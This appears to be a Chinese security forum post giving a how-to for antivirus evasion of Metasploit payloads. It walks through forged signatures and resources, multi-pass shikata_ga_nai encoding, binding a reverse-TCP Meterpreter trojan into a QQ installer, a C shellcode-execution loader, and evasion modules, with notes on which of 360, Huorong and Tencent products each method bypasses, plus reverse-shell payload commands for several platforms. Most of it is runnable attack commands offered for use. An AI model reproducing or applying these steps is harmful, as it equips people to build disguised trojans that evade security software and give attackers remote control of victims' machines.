需要去找到特征码修改之后病毒不一定可以正常运行
添加一段毫无意义的指令,也可以称为垃圾指令。它对程序的执行结果是没有影响的,所有它存在的唯一目的就是阻止反汇编程序。
CPU是不可能给为某一款加壳软件而特别设计的,因此某个软件被加壳后的可执行代码CPU是读不懂的。这就要求在执行外壳代码时,要先将原软件解密并放到内存里,然后再通知CPU执行。
说起软件加壳,简单地说,软件加壳其实也可以称为软件加密(或软件压缩),只是加密(或压缩)的方式与目的不一样罢了。壳就是软件所增加的保护,并不会破坏里面的程序结构,当我们运行这个加壳程序时,系统会首先运行程序里面的壳,然后由壳将加密的程序逐步还原到内存中,最后运行程序。
metasploit的msfvenom提供了很多种格式的payload和encoder,生成的shellcode也为二次加工提供了很大便利,但是也被各大厂商盯得死死的。而shikata_ga_nai是msf种唯一的评价是excellent的编码器,这种多态编码技术使得每次生成的攻击载荷文件是不一样的,编码和解码也是不一样。还可以利用管道进行多重编码进行免杀。目前msfvenom的encoder特征基本都进入了杀软的漏洞库,很难实现单一encoder编码而绕过杀软,所以对shellcode进行进一步修改编译成了msf免杀的主流。互联网上有很多借助于C、C#、python等语言对shellcode进行二次编码从而达到免杀的效果。
有些杀软会设置扫描白名单,比如之前把程序图标替换为360安全卫士图标就能绕过360的查杀
一、加资源
使用ResHacker对文件进行资源操作,找来多个正常软件,将他们的资源加入到自己软件,如图片,版本信息,对话框等。
二、替换资源
使用ResHacker替换无用资源(version等)
三、加签名
使用签名伪造工具,将正常软件的签名信息加入到自己软件中。
msfvenom
-p 指定payload
windows/meterpreter/reverse_tcp 可改为别的
-l 列出可用项
formats 支持生成的文件类型
encoders 支持的编码器
platforms 支持哪些平台的木马
-f 指定文件类型
-e 加载编码器
-b 删除无效字符
-i 指定编码次数
-x 绑定文件
-o 导出文件bas
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ni_nai -i 7 -x qq.exe lhost=ip lport=9989 -f exe > shell.exe
这是捆绑QQ生成木马(可以过火绒,手动查杀会报毒,失去原本安装qq的能力)
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 15 -b '\x00' lhost=192.168.10.136 lport=9989 -f c
生成C的shellcode
#include "stdafx.h"
#include <stdio.h>
#pragma comment( linker, "/subsystem:\"windows\" /entry:\"mainCRTStartup\"")
unsigned char buf[]=
(这里放生成好的数组)
int main()
{
((void(*)(void))&buf)();
}
(可以过360和电脑管家,不能过火绒)
打开VC++6.0,新建一个"WIN32 Application"或者"Win32 Console Application",取个工程名称,确定,勾选"一个简单的Win32程序"”
运行时一定要先编译头文件"StdAfx.cpp"再编译"自己的cpp文件",都没有报错之后,再最后组建运行,再项目文件DeBug里面找到exe文件。
如果还是没有绕过,可以添加垃圾指令,比如新建资源脚本或者文本文件,勾选添加到工程,取一个文件名,点击确定。
show evasion //查看免杀列表
前五个程序都是生成shellcode,用对应的环境自己编译
可使用info “模块名”来查看需要什么环境编译
use evasion/windows/windows_defender_exe
可以直接生成exe(可以过电脑管家不能过360火绒)
evasion/windows/windows_defender_js_hta
可以直接生成hta(可以过火绒,但动态上线会被杀)
evasion/windows/process_herpaderping
可以直接生成exe(可以过火绒,上线也不会被杀)
evasion/windows/syscall_inject
我做不出来
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 6 -b ‘\x00’ lhost=192.168.10.136 lport=9989 -f raw -o shellcode.raw
生成raw包来到目标机器上执行cmd
shellcode_launcher.exe -i shellcode.raw
1. Windows
Msfvenom –platform windows –a x86 –p windows/meterpreter/reverse_tcp –i 3 –e x86/shikata_ga_nai –f exe –o C:\back.exe
Msfvenom –platform windows –p windows/x64/meterpreter/reverse_tcp –f exe –o C:\back.exe
2. Linux
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f elf > shell.elf
3. MAC
msfvenom -p osx/x86/shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f macho > shell.macho
4. PHP
msfvenom -p php/meterpreter_reverse_tcp LHOST=192.168.153.138 LPORT =1520 -f raw > shell.php
5. Asp
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f asp > shell.asp
6. Aspx
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f aspx > shell.aspx
用户名 | 金币 | 积分 | 时间 | 理由 |
---|---|---|---|---|
Track-劲夫 | 50.00 | 0 | 2022-06-25 19:07:06 | 一个受益终生的帖子~~ |
Track-子羽 | 20.00 | 0 | 2022-06-22 20:08:17 | 一个受益终生的帖子~~ |
打赏我,让我更有动力~
© 2016 - 2024 掌控者 All Rights Reserved.